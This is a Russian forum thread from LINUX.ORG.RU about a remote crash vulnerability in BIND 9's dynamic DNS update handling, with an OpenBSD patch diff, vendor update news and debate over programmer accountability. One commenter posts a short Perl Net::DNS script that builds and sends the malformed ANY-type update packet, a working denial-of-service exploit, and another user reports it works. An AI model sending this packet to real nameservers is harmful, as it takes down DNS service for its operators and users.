LINUX.ORG.RU

Найдена серьезная уязвимость в Bind 9

 , ,


0

0

Найдена очередная удаленная уязвимость в популярном сервере протокола DNS - Bind 9.

При получении специально созданного запроса на dynamic dns update (спецификация RFC 2136), сервер bind вылетает со следующим сообщением:

db.c:659: REQUIRE(type != ((dns_rdatatype_t)dns_rdatatype_any)) failed
exiting (due to assertion failure).

Стоит заметить, этой уязвимости подвержены все сервера bind, которые сконфигурированы мастером хотя бы для одной зоны. При этом не важно, разрешены ли dynamic updates, достаточно просто быть мастером. ACL на бинде вас тоже не спасет.

На сайте ISC доступны патчи и обновленные архивы исходников. В сети циркулирует публичный эксплойт, так что всем рекомендуется обновиться как можно раньше.

>>> Подробности

★★★★★

Проверено: boombick ()

могу добавить, что вендоры вроде пока не среагировали. если dns для вас критический сервис, патчесь уже.

val-amart ★★★★★
() автор топика
Ответ на: комментарий от val-amart

патч для OpenBSD уже доступен ;)

Index: usr.sbin/bind/bin/named/update.c
===================================================================
RCS file: /cvs/src/usr.sbin/bind/bin/named/update.c,v
retrieving revision 1.7
diff -u -p -r1.7 update.c
--- usr.sbin/bind/bin/named/update.c    9 Dec 2007 13:39:42 -0000       1.7
+++ usr.sbin/bind/bin/named/update.c    29 Jul 2009 02:34:11 -0000
@@ -861,7 +861,11 @@ temp_check(isc_mem_t *mctx, dns_diff_t *
                       if (type == dns_rdatatype_rrsig ||
                           type == dns_rdatatype_sig)
                               covers = dns_rdata_covers(&t->rdata);
-                       else
+                       else if (type == dns_rdatatype_any) {
+                               dns_db_detachnode(db, &node);
+                               dns_diff_clear(&trash);
+                               return (DNS_R_NXRRSET);
+                       } else
                               covers = 0;

val-amart ★★★★★
() автор топика

Решето. Ъ используют bind-8. )

sabonez ★☆☆☆
()

А я-то голову ломаю, чего это это у прова с DNS вчера было.

Zenom ★★★
()

я недоволен
интересно почему команда опенбсд свой опенднс еще не накатало? :o)

hizel ★★★★★
()
Ответ на: комментарий от LightDiver

>неверное название... Скорее: Еще одна уязвимость закрыта.

Закрыта она будет лишь после того, как все узнают и поставят обновления, а до тех пор - открыта и юзабельна.

frame ★★★
()

Быдлокодеры. Если бы для типов использовали enum и switch (как то и задумано K&R) то компилятор мог бы о такой уязвимости предупредить.

legolegs ★★★★★
()
Ответ на: комментарий от val-amart

Сегодня по рассылке FreeBSD Security свалилось вместе с патчем ... так что уже обновились ...

pascal ★★★
()
Ответ на: комментарий от dreamer

>ссылку на эксплоит в студию! и кто по ней пойдет?)

arkhnchul ★★
()

У программистов, все как у политиков. Найдена уязвимость? Счас исправим -> обновляйтесь... И ни слова о том, _кто_ это напрограммировал, _когда_, _кто_несет_ответственность_ за контроль качества (в смысле, сколько людей получили зарплату в новеллах и редхатах за то, что проконтролировали?)

В новости можно указывать хотя бы имя того программиста?.. Или это неэтично?

valich ★★★
()
Ответ на: комментарий от dreamer

нашел перловый скрипт, который вроде бы генерит бажный запрос

#!/usr/bin/perl -w

use Net::DNS;

our $NSI = '';
our $NSI_KEY_NAME = '';
our $NSI_KEY = '';

my $rzone = '';
my $rptr = "1.$rzone";

my $packet = Net::DNS::Update->new($rzone);

$packet->push(
pre => Net::DNS::RR->new(
Name => $rptr,
Class => 'IN',
Type => 'ANY',
TTL => 0,
)
);
$packet->push(
update => Net::DNS::RR->new(
Name => $rptr,
Class => 'ANY',
Type => 'ANY',
)
);

$packet->sign_tsig( $NSI_KEY_NAME, $NSI_KEY ) if $NSI_KEY_NAME && $NSI_KEY;

print $packet->string;

Net::DNS::Resolver->new( nameservers => [$NSI] )->send($packet);


но чето с утра не соображу как отправить его по-проще ?
не телнетом же..

dreamer ★★★★★
()
Ответ на: комментарий от Sylvia

Да , Сильви . Этот вариант ничем принципиально не отличается от zone "example.org" { ... Ему мякого говоря одинакого localhost или нет

Я уже обновился на работе.

ss85
()
Ответ на: комментарий от valich

ну если у них торчит в интернеты CVS, то можно погрепать по логам :-\

hizel ★★★★★
()

Для Debian вышло обновление.

JackYF ★★★★
()
Ответ на: комментарий от valich

>valich

месье программист?
если да, Вы работаете с полной материальной ответственностью? или никогда в жизни не допускали ошибок в программах?

k0l0b0k ★★
()
Ответ на: комментарий от valich

если бы ты заплатил деньги за программу - ты имел бы право предьявлять претензии конкретному человеку на конкретную сумму ущерба. а если ты используешь бесплатный софт - то чего ты хочешь? нашел уязвимость - сделай патч и отошли разработчикам. или напиши багрепорт.

Komintern ★★★★★
()
Ответ на: комментарий от Komintern

даже в MS EULA написано no warranty, даже за деньги

тот майнтейнер OpenSSL из Debian'a намного больше ущерба сделал ...

Sylvia ★★★★★
()
Ответ на: комментарий от Sylvia

Наглядный примеры пользы комментов в коде :}

Deleted
()
Ответ на: комментарий от legolegs

> Быдлокодеры. Если бы для типов использовали enum и switch (как то и задумано K&R) то компилятор мог бы о такой уязвимости предупредить.

Вряд ли -- ведь у них будет default, аналогичный местному else...

sv75 ★★★★★
()
Ответ на: комментарий от hizel

> интересно почему команда опенбсд свой опенднс еще не накатало? :o)
потому что бинд и так не самый плохой вариант, и он немного модифицированный у нас. но вот от этого не спасло.
мысли написать свое конечно есть, но это не первоочередная задача.

val-amart ★★★★★
() автор топика
Ответ на: комментарий от Sylvia

> такой вариант тоже уязвим ?)
ага ;) достаточно быть мастером для любой одной зоны

val-amart ★★★★★
() автор топика
Ответ на: комментарий от linuks

Нет не опережает.
Когда я начинал читать этот тред фиксов для Ленни еще не было.
Правда. когда дочитал, появились.

kilolife ★★★★★
()
Ответ на: комментарий от Sova777

патч от самого де Раадта ;)
к тому же, он довольно тривиален.

val-amart ★★★★★
() автор топика
Ответ на: комментарий от Komintern

если бы ты заплатил деньги за программу и если ты используешь бесплатный софт - все одно. Ответственность программиста определяется вашими с ним договоренности. В общем случае, лицензией. Во всех известных мне еулах написано большими буквами NO WARRANTY...

AVL2 ★★★★★
()

в рот мне ноги!11
эксплойт работает (
да шо же это делаеццо..

обновил десяток машин уже.

se ★★
()
Ответ на: комментарий от k0l0b0k

> месье программист?
> если да, Вы работаете с полной материальной ответственностью? или никогда в жизни не допускали ошибок в программах?


А что есть полная материальная ответсвенность? Это когда платят человеку, переписывающему мои баги из моего кармана?

Не знаю как у вас. А меня в этом месяце оштрафовали за такое дуракаваляние.

valich ★★★
()
Ответ на: комментарий от Komintern

> ты имел бы право предьявлять претензии конкретному человеку на конкретную сумму ущерба

Вот-вот, все как в политике... Не уводите тему, вы не в зале заседаний. Где я предъявлял суммы ущерба? Я лишь хочу знать имена тех героев... При этом я не требовал а спросил. Кто его знает, может и в самом деле неэтично

valich ★★★
()
Ответ на: комментарий от valich

> Это когда платят человеку, переписывающему мои баги из моего кармана?
это когда ты оплачиваешь убытки компании за простой сервиса, за который ты ответственен. подумай, сколько стоит час простоя сети крупного провайдера, телекома или банка и ты поймешь, почему софта с гарантиями практически.

val-amart ★★★★★
() автор топика
Ответ на: комментарий от yurikoles

Debian
>Date: Wed, 29 Jul 2009 09:21:21 +0200

>Subject: [SECURITY] [DSA 1847-1] New bind9 packages fix denial of service


Гмыл говорит, что в 10:21 (GMT+02:00). Но самое интересное что есть фикс для сида, но НЕТ фикса для тестинга, так и знал что не нужно каментить deb http://security.debian.org/debian/ stable/updates

yurikoles ★★★
()
Ответ на: комментарий от val-amart

>подумай, сколько стоит час простоя сети крупного провайдера, телекома или банка

Это херня. Вот сколько стоит час работы программиста, способного доказать свою программу...

legolegs ★★★★★
()
Ответ на: комментарий от yurikoles

скачайте .deb
с http://security.debian.org

dpkg -i <filename.deb>

только оно скорее всего потом захочет обновиться на тот что у вас был (из за более высокой версии) так что лучше сразу его aptitude hold

Sylvia ★★★★★
()

Обновление для *ubuntu доступно, обновляемся!

Buy ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.